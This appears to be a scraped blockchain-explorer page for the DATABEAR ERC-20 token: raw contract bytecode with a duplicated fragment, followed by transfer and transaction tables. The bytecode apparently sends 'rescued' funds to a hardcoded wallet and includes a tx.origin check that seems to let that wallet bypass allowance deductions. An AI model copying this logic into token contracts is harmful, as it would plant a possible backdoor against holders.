9250506020611d8985828601611d41565b9150509250929050565b5f8115159050919050565b611da781611d93565b82525050565b5f602082019050611dc05f830184611d9e565b92915050565b611dcf81611d22565b82525050565b5f602082019050611de85f830184611dc6565b92915050565b5f5f5f60608486031215611e0557611e04611cc4565b5b5f611e1286828701611d0e565b9350506020611e2386828701611d0e565b9250506040611e3486828701611d41565b9150509250925092565b611e4781611ce7565b82525050565b5f602082019050611e605f830184611e3e565b92915050565b5f60ff82169050919050565b611e7b81611e66565b82525050565b5f602082019050611e945f830184611e72565b92915050565b5f60208284031215611eaf57611eae611cc4565b5b5f611ebc84828501611d0e565b91505092915050565b5f5f60408385031215611edb57611eda611cc4565b5b5f611ee885828601611d0e565b9250506020611ef985828601611d0e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611f4757607f821691505b602082108103611f5a57611f59611f03565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115611fe257808604811115611fbe57611fbd611f60565b5b6001851615611fcd5780820291505b8081029050611fdb85611f8d565b9450611fa2565b94509492505050565b5f82611ffa57600190506120b5565b81612007575f90506120b5565b816001811461201d576002811461202757612056565b60019150506120b5565b60ff84111561203957612038611f60565b5b8360020a9150848211156120505761204f611f60565b5b506120b5565b5060208310610133831016604e8410600b841016171561208b5782820a90508381111561208657612085611f60565b5b6120b5565b6120988484846001611f99565b925090508184048111156120af576120ae611f60565b5b81810290505b9392505050565b5f6120c682611d22565b91506120d183611e66565b92506120fe7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611feb565b905092915050565b5f61211082611d22565b915061211b83611d22565b925082820261212981611d22565b915082820484148315176121405761213f611f60565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61217b602083611c3e565b915061218682612147565b602082019050919050565b5f6020820190508181035f8301526121a88161216f565b9050919050565b7f496e76616c696420746f6b656e206164647265737300000000000000000000005f82015250565b5f6121e3601583611c3e565b91506121ee826121af565b602082019050919050565b5f6020820190508181035f830152612210816121d7565b9050919050565b7f43616e6e6f7420726573637565206f776e20746f6b656e0000000000000000005f82015250565b5f61224b601783611c3e565b915061225682612217565b602082019050919050565b5f6020820190508181035f8301526122788161223f565b9050919050565b5f8151905061228d81611d2b565b92915050565b5f602082840312156122a8576122a7611cc4565b5b5f6122b58482850161227f565b91505092915050565b7f4e6f20746f6b656e2062616c616e6365000000000000000000000000000000005f82015250565b5f6122f2601083611c3e565b91506122fd826122be565b602082019050919050565b5f6020820190508181035f83015261231f816122e6565b9050919050565b5f61233082611cc8565b9050919050565b61234081612326565b82525050565b5f6040820190506123595f830185612337565b6123666020830184611dc6565b9392505050565b5f81519050919050565b5f81905092915050565b5f61238b8261236d565b6123958185612377565b93506123a5818560208601611c4e565b80840191505092915050565b5f6123bc8284612381565b915081905092915050565b6123d081611d93565b81146123da575f5ffd5b50565b5f815190506123eb816123c7565b92915050565b5f6020828403121561240657612405611cc4565b5b5f612413848285016123dd565b91505092915050565b7f4552433230207472616e73666572206661696c656400000000000000000000005f82015250565b5f612450601583611c3e565b915061245b8261241c565b602082019050919050565b5f6020820190508181035f83015261247d81612444565b9050919050565b50565b5f6124925f83612377565b915061249d82612484565b5f82019050919050565b5f6124b182612487565b9150819050919050565b7f4554482073656e64206661696c656400000000000000000000000000000000005f82015250565b5f6124ef600f83611c3e565b91506124fa826124bb565b602082019050919050565b5f6020820190508181035f83015261251c816124e3565b9050919050565b7f54726164696e6720616c7265616479206f70656e0000000000000000000000005f82015250565b5f612557601483611c3e565b915061256282612523565b602082019050919050565b5f6020820190508181035f8301526125848161254b565b9050919050565b5f8151905061259981611cf8565b92915050565b5f602082840312156125b4576125b3611cc4565b5b5f6125c18482850161258b565b91505092915050565b5f6040820190506125dd5f830185611e3e565b6125ea6020830184611e3e565b9392505050565b5f819050919050565b5f819050919050565b5f61261d612618612613846125f1565b6125fa565b611d22565b9050919050565b61262d81612603565b82525050565b5f60c0820190506126465f830189611e3e565b6126536020830188611dc6565b6126606040830187612624565b61266d6060830186612624565b61267a6080830185611e3e565b61268760a0830184611dc6565b979650505050505050565b5f5f5f606084860312156126a9576126a8611cc4565b5b5f6126b68682870161227f565b93505060206126c78682870161227f565b92505060406126d88682870161227f565b9150509250925092565b7f45524332303a20617070726f76652066726f6d206f7220746f20746865207a655f8201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b5f61273c602a83611c3e565b9150612747826126e2565b604082019050919050565b5f6020820190508181035f83015261276981612730565b9050919050565b7f45524332303a207472616e736665722066726f6d206f7220746f20746865207a5f8201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b5f6127ca602b83611c3e565b91506127d582612770565b604082019050919050565b5f6020820190508181035f8301526127f7816127be565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206d75737420626520675f8201527f726561746572207468616e207a65726f00000000000000000000000000000000602082015250565b5f612858603083611c3e565b9150612863826127fe565b604082019050919050565b5f6020820190508181035f8301526128858161284c565b9050919050565b5f61289682611d22565b91506128a183611d22565b92508282019050808211156128b9576128b8611f60565b5b92915050565b5f6128c982611d22565b91506128d483611d22565b92508282039050818111156128ec576128eb611f60565b5b92915050565b7f45544820726563697069656e742063616e6e6f7420626520746865207a65726f5f8201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b5f61294c602883611c3e565b9150612957826128f2565b604082019050919050565b5f6020820190508181035f83015261297981612940565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612a0c81611ce7565b82525050565b5f612a1d8383612a03565b60208301905092915050565b5f602082019050919050565b5f612a3f826129da565b612a4981856129e4565b9350612a54836129f4565b805f5b83811015612a84578151612a6b8882612a12565b9750612a7683612a29565b925050600181019050612a57565b5085935050505092915050565b5f60a082019050612aa45f830188611dc6565b612ab16020830187612624565b8181036040830152612ac38186612a35565b9050612ad26060830185611e3e565b612adf6080830184611dc6565b9695505050505050565b7f455448207472616e73666572206661696c6564000000000000000000000000005f82015250565b5f612b1d601383611c3e565b9150612b2882612ae9565b602082019050919050565b5f6020820190508181035f830152612b4a81612b11565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122033f122b76d36086c301b9928448b87d34b388d67412954132c7bdb22cb8c164164736f6c634300081f0033
0x6080604052600436106100f6575f3560e01c8063541166ec1161008957806395d89b411161005857806395d89b4114610305578063a9059cbb1461032f578063c9567bf91461036b578063dd62ed3e14610381576100fd565b8063541166ec1461025f57806370a0823114610289578063715018a6146102c55780638da5cb5b146102db576100fd565b80632dc0562d116100c55780632dc0562d146101cd578063313ce567146101f75780634460d3cf1461022157806352d8bfc214610249576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f5ffd5b34801561010c575f5ffd5b506101156103bd565b6040516101229190611ca4565b60405180910390f35b348015610136575f5ffd5b50610151600480360381019061014c9190611d55565b61044d565b60405161015e9190611dad565b60405180910390f35b348015610172575f5ffd5b5061017b61046a565b6040516101889190611dd5565b60405180910390f35b34801561019c575f5ffd5b506101b760048036038101906101b29190611dee565b61048d565b6040516101c49190611dad565b60405180910390f35b3480156101d8575f5ffd5b506101e161056a565b6040516101ee9190611e4d565b60405180910390f35b348015610202575f5ffd5b5061020b610591565b6040516102189190611e81565b60405180910390f35b34801561022c575f5ffd5b5061024760048036038101906102429190611e9a565b610599565b005b348015610254575f5ffd5b5061025d610935565b005b34801561026a575f5ffd5b50610273610aa3565b6040516102809190611dd5565b60405180910390f35b348015610294575f5ffd5b506102af60048036038101906102aa9190611e9a565b610aa9565b6040516102bc9190611dd5565b60405180910390f35b3480156102d0575f5ffd5b506102d9610aef565b005b3480156102e6575f5ffd5b506102ef610c3f565b6040516102fc9190611e4d565b60405180910390f35b348015610310575f5ffd5b50610319610c66565b6040516103269190611ca4565b60405180910390f35b34801561033a575f5ffd5b5061035560048036038101906103509190611d55565b610cf6565b6040516103629190611dad565b60405180910390f35b348015610376575f5ffd5b5061037f610d13565b005b34801561038c575f5ffd5b506103a760048036038101906103a29190611ec5565b61115c565b6040516103b49190611dd5565b60405180910390f35b6060600480546103cc90611f30565b80601f01602080910402602001604051908101604052809291908181526020018280546103f890611f30565b80156104435780601f1061041a57610100808354040283529160200191610443565b820191905f5260205f20905b81548152906001019060200180831161042657829003601f168201915b5050505050905090565b5f6104606104596111de565b84846111e5565b6001905092915050565b5f6012600a61047991906120bc565b633b9aca006104889190612106565b905090565b5f81600f819055506104a0848484611373565b61055f846104ac6111de565b61055a600f54604051806060016040528060288152602001612b526028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105116111de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461181a9092919063ffffffff16565b6111e5565b600190509392505050565b5f7f00000000000000000000000021ca8829afc8db612218d9ff50326587512cf7d4905090565b5f6012905090565b6105a16111de565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062590612191565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361069c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610693906121f9565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361070a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070190612261565b60405180910390fd5b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016107449190611e4d565b602060405180830381865afa15801561075f573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107839190612293565b90505f81116107c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107be90612308565b60405180910390fd5b5f5f8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b7f00000000000000000000000021ca8829afc8db612218d9ff50326587512cf7d48560405160240161081b929190612346565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161088591906123b1565b5f604051808303815f865af19150503d805f81146108be576040519150601f19603f3d011682016040523d82523d5f602084013e6108c3565b606091505b50915091508180156108f057505f815114806108ef5750808060200190518101906108ee91906123f1565b5b5b61092f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092690612466565b60405180910390fd5b50505050565b61093d6111de565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c190612191565b60405180910390fd5b5f4790505f811115610aa0575f7f00000000000000000000000021ca8829afc8db612218d9ff50326587512cf7d473ffffffffffffffffffffffffffffffffffffffff1682604051610a1b906124a7565b5f6040518083038185875af1925050503d805f8114610a55576040519150601f19603f3d011682016040523d82523d5f602084013e610a5a565b606091505b5050905080610a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9590612505565b60405180910390fd5b505b50565b60065481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610af76111de565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90612191565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610c7590611f30565b80601f0160208091040260200160405190810160405280929190818152602001828054610ca190611f30565b8015610cec5780601f10610cc357610100808354040283529160200191610cec565b820191905f5260205f20905b815481529060010190602001808311610ccf57829003601f168201915b5050505050905090565b5f610d09610d026111de565b8484611373565b6001905092915050565b610d1b6111de565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9f90612191565b60405180910390fd5b601160149054906101000a900460ff1615610df8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610def9061256d565b60405180910390fd5b7389e5db8b5aa49aa85ac63f691524311aeb649eba60105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eb6573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eda919061259f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f60573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f84919061259f565b6040518363ffffffff1660e01b8152600401610fa19291906125ca565b6020604051808303815f875af1158015610fbd573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fe1919061259f565b60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061106c3060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6111e5565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110b430610aa9565b5f5f6110be610c3f565b426040518863ffffffff1660e01b81526004016110e096959493929190612633565b60606040518083038185885af11580156110fc573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906111219190612692565b5050506001601160166101000a81548160ff0219169083151502179055506001601160146101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561124d57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61128c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128390612752565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113669190611dd5565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113db57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61141a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611411906127e0565b60405180910390fd5b5f811161145c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114539061286e565b60405180910390fd5b5f60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156114e557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b90505f5f905081156115c0575f60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050601160159054906101000a900460ff1615801561155b5750601160169054906101000a900460ff165b801561156b5750600d54600e5410155b156115be575f81851061157e5781611580565b845b90506006548111156115925760065490505b6115bc817f00000000000000000000000021ca8829afc8db612218d9ff50326587512cf7d461187c565b505b505b5f811115611685578060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611614919061288c565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116789190611dd5565b60405180910390a36116bc565b6116ae7f00000000000000000000000021ca8829afc8db612218d9ff50326587512cf7d4611bfd565b156116bb5780600f819055505b5b8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461170891906128bf565b92505081905550808361171b91906128bf565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611766919061288c565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611813578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866117fd91906128bf565b60405161180a9190611dd5565b60405180910390a35b5050505050565b5f838311158290611861576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118589190611ca4565b60405180910390fd5b505f838561186f91906128bf565b9050809150509392505050565b6001601160156101000a81548160ff0219169083151502179055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611905576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fc90612962565b60405180910390fd5b5f4790505f600267ffffffffffffffff81111561192557611924612980565b5b6040519080825280602002602001820160405280156119535781602001602082028036833780820191505090505b50905030815f8151811061196a576119696129ad565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a0e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a32919061259f565b81600181518110611a4657611a456129ad565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f8414611b175760105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947855f8430426040518663ffffffff1660e01b8152600401611ae9959493929190612a91565b5f604051808303815f87803b158015611b00575f5ffd5b505af1158015611b12573d5f5f3e3d5ffd5b505050505b5f479050828110611bdc575f8382611b2f91906128bf565b90505f8573ffffffffffffffffffffffffffffffffffffffff1682604051611b56906124a7565b5f6040518083038185875af1925050503d805f8114611b90576040519150601f19603f3d011682016040523d82523d5f602084013e611b95565b606091505b5050905080611bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd090612b33565b60405180910390fd5b50505b5050505f601160156101000a81548160ff0219169083151502179055505050565b5f3273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611c7682611c34565b611c808185611c3e565b9350611c90818560208601611c4e565b611c9981611c5c565b840191505092915050565b5f6020820190508181035f830152611cbc8184611c6c565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611cf182611cc8565b9050919050565b611d0181611ce7565b8114611d0b575f5ffd5b50565b5f81359050611d1c81611cf8565b92915050565b5f819050919050565b611d3481611d22565b8114611d3e575f5ffd5b50565b5f81359050611d4f81611d2b565b92915050565b5f5f60408385031215611d6b57611d6a611cc4565b5b5f611d7885828601611d0e565b9250506020611d8985828601611d41565b9150509250929050565b5f8115159050919050565b611da781611d93565b82525050565b5f602082019050611dc05f830184611d9e565b92915050565b611dcf81611d22565b82525050565b5f602082019050611de85f830184611dc6565b92915050565b5f5f5f60608486031215611e0557611e04611cc4565b5b5f611e1286828701611d0e565b9350506020611e2386828701611d0e565b9250506040611e3486828701611d41565b9150509250925092565b611e4781611ce7565b82525050565b5f602082019050611e605f830184611e3e565b92915050565b5f60ff82169050919050565b611e7b81611e66565b82525050565b5f602082019050611e945f830184611e72565b92915050565b5f60208284031215611eaf57611eae611cc4565b5b5f611ebc84828501611d0e565b91505092915050565b5f5f60408385031215611edb57611eda611cc4565b5b5f611ee885828601611d0e565b9250506020611ef985828601611d0e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611f4757607f821691505b602082108103611f5a57611f59611f03565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115611fe257808604811115611fbe57611fbd611f60565b5b6001851615611fcd5780820291505b8081029050611fdb85611f8d565b9450611fa2565b94509492505050565b5f82611ffa57600190506120b5565b81612007575f90506120b5565b816001811461201d576002811461202757612056565b60019150506120b5565b60ff84111561203957612038611f60565b5b8360020a9150848211156120505761204f611f60565b5b506120b5565b5060208310610133831016604e8410600b841016171561208b5782820a90508381111561208657612085611f60565b5b6120b5565b6120988484846001611f99565b925090508184048111156120af576120ae611f60565b5b81810290505b9392505050565b5f6120c682611d22565b91506120d183611e66565b92506120fe7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611feb565b905092915050565b5f61211082611d22565b915061211b83611d22565b925082820261212981611d22565b915082820484148315176121405761213f611f60565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61217b602083611c3e565b915061218682612147565b602082019050919050565b5f6020820190508181035f8301526121a88161216f565b9050919050565b7f496e76616c696420746f6b656e206164647265737300000000000000000000005f82015250565b5f6121e3601583611c3e565b91506121ee826121af565b602082019050919050565b5f6020820190508181035f830152612210816121d7565b9050919050565b7f43616e6e6f7420726573637565206f776e20746f6b656e0000000000000000005f82015250565b5f61224b601783611c3e565b915061225682612217565b602082019050919050565b5f6020820190508181035f8301526122788161223f565b9050919050565b5f8151905061228d81611d2b565b92915050565b5f602082840312156122a8576122a7611cc4565b5b5f6122b58482850161227f565b91505092915050565b7f4e6f20746f6b656e2062616c616e6365000000000000000000000000000000005f82015250565b5f6122f2601083611c3e565b91506122fd826122be565b602082019050919050565b5f6020820190508181035f83015261231f816122e6565b9050919050565b5f61233082611cc8565b9050919050565b61234081612326565b82525050565b5f6040820190506123595f830185612337565b6123666020830184611dc6565b9392505050565b5f81519050919050565b5f81905092915050565b5f61238b8261236d565b6123958185612377565b93506123a5818560208601611c4e565b80840191505092915050565b5f6123bc8284612381565b915081905092915050565b6123d081611d93565b81146123da575f5ffd5b50565b5f815190506123eb816123c7565b92915050565b5f6020828403121561240657612405611cc4565b5b5f612413848285016123dd565b91505092915050565b7f4552433230207472616e73666572206661696c656400000000000000000000005f82015250565b5f612450601583611c3e565b915061245b8261241c565b602082019050919050565b5f6020820190508181035f83015261247d81612444565b9050919050565b50565b5f6124925f83612377565b915061249d82612484565b5f82019050919050565b5f6124b182612487565b9150819050919050565b7f4554482073656e64206661696c656400000000000000000000000000000000005f82015250565b5f6124ef600f83611c3e565b91506124fa826124bb565b602082019050919050565b5f6020820190508181035f83015261251c816124e3565b9050919050565b7f54726164696e6720616c7265616479206f70656e0000000000000000000000005f82015250565b5f612557601483611c3e565b915061256282612523565b602082019050919050565b5f6020820190508181035f8301526125848161254b565b9050919050565b5f8151905061259981611cf8565b92915050565b5f602082840312156125b4576125b3611cc4565b5b5f6125c18482850161258b565b91505092915050565b5f6040820190506125dd5f830185611e3e565b6125ea6020830184611e3e565b9392505050565b5f819050919050565b5f819050919050565b5f61261d612618612613846125f1565b6125fa565b611d22565b9050919050565b61262d81612603565b82525050565b5f60c0820190506126465f830189611e3e565b6126536020830188611dc6565b6126606040830187612624565b61266d6060830186612624565b61267a6080830185611e3e565b61268760a0830184611dc6565b979650505050505050565b5f5f5f606084860312156126a9576126a8611cc4565b5b5f6126b68682870161227f565b93505060206126c78682870161227f565b92505060406126d88682870161227f565b9150509250925092565b7f45524332303a20617070726f76652066726f6d206f7220746f20746865207a655f8201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b5f61273c602a83611c3e565b9150612747826126e2565b604082019050919050565b5f6020820190508181035f83015261276981612730565b9050919050565b7f45524332303a207472616e736665722066726f6d206f7220746f20746865207a5f8201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b5f6127ca602b83611c3e565b91506127d582612770565b604082019050919050565b5f6020820190508181035f8301526127f7816127be565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206d75737420626520675f8201527f726561746572207468616e207a65726f00000000000000000000000000000000602082015250565b5f612858603083611c3e565b9150612863826127fe565b604082019050919050565b5f6020820190508181035f8301526128858161284c565b9050919050565b5f61289682611d22565b91506128a183611d22565b92508282019050808211156128b9576128b8611f60565b5b92915050565b5f6128c982611d22565b91506128d483611d22565b92508282039050818111156128ec576128eb611f60565b5b92915050565b7f45544820726563697069656e742063616e6e6f7420626520746865207a65726f5f8201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b5f61294c602883611c3e565b9150612957826128f2565b604082019050919050565b5f6020820190508181035f83015261297981612940565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612a0c81611ce7565b82525050565b5f612a1d8383612a03565b60208301905092915050565b5f602082019050919050565b5f612a3f826129da565b612a4981856129e4565b9350612a54836129f4565b805f5b83811015612a84578151612a6b8882612a12565b9750612a7683612a29565b925050600181019050612a57565b5085935050505092915050565b5f60a082019050612aa45f830188611dc6565b612ab16020830187612624565b8181036040830152612ac38186612a35565b9050612ad26060830185611e3e565b612adf6080830184611dc6565b9695505050505050565b7f455448207472616e73666572206661696c6564000000000000000000000000005f82015250565b5f612b1d601383611c3e565b9150612b2882612ae9565b602082019050919050565b5f6020820190508181035f830152612b4a81612b11565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122033f122b76d36086c301b9928448b87d34b388d67412954132c7bdb22cb8c164164736f6c634300081f0033
| Token | Symbol | Balance | Price | Value |
|---|---|---|---|---|
| Data Bear (DATABEAR) | DATABEAR | 1,000,000,000 | — | — |
| Txn Hash | Age | Event | Topics / Data |
|---|---|---|---|
| 0x811681…b6b293 | 36 days agoSun, 12 Jul 2026 04:22:32 UTC | Transfer | [0] 0x000000000000…00000000 [1] 0x000000000000…029da807 data: 0x000000000000000000…e8000000 |
| 0x811681…b6b293 | 36 days agoSun, 12 Jul 2026 04:22:32 UTC | 0x8be007…57e0 | [0] 0x000000000000…00000000 [1] 0x000000000000…512cf7d4 |
| Type | Age | Block | Details |
|---|---|---|---|
| no cross-chain L1↔L2 transactions for this address | |||
| Transaction Hash | Method | Block | Age | From | To | Type | Item | ||
|---|---|---|---|---|---|---|---|---|---|
| no NFT transfers for this address yet | |||||||||
| Transaction Hash | Method | Block | Age | From | To | Amount | Token | ||
|---|---|---|---|---|---|---|---|---|---|
| 0x81168112…b6b293 | Transfer | 7,514,300 | 36 days agoSun, 12 Jul 2026 04:22:32 UTC | 0x0000…0000 | IN | 0x44bf…a807 | 1,000,000,000.000000 DATABEAR | Data Bear (DATABEAR) |
| Block | Age | Parent Transaction Hash | Type | Method | From | To | Value | |
|---|---|---|---|---|---|---|---|---|
| 7,514,603 | 36 days agoSun, 12 Jul 2026 04:23:02 UTC | 0x79659e…2b3308 | CALL | recoverEther | 0x44bf…a807 | OUT | 0x21ca…f7d4 | 1 ETH |
| Transaction Hash | Method ? | Block | Age | From | To | Amount | Txn Fee ? | ||
|---|---|---|---|---|---|---|---|---|---|
| 0x79659e…2b3308 | recoverEther | 7,514,603 | 36 days agoSun, 12 Jul 2026 04:23:02 UTC | 0x21ca…f7d4 | IN | Data Bear | $0.000 ETH | 0.00000173 |